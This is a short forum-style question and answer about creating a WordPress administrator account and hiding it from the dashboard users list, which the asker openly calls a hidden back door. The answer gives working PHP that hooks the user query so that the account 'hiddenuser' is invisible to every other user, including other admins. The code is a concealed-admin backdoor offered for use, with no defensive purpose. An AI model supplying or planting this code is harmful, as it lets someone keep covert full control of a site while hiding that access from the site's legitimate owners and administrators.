I\'d like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins
Combining the answer of "angezanetti", the question of "Natalia" and the response of "user3474007" to Natalia, this code will hide the user from all other users (including admins).
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hiddenuser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
}
}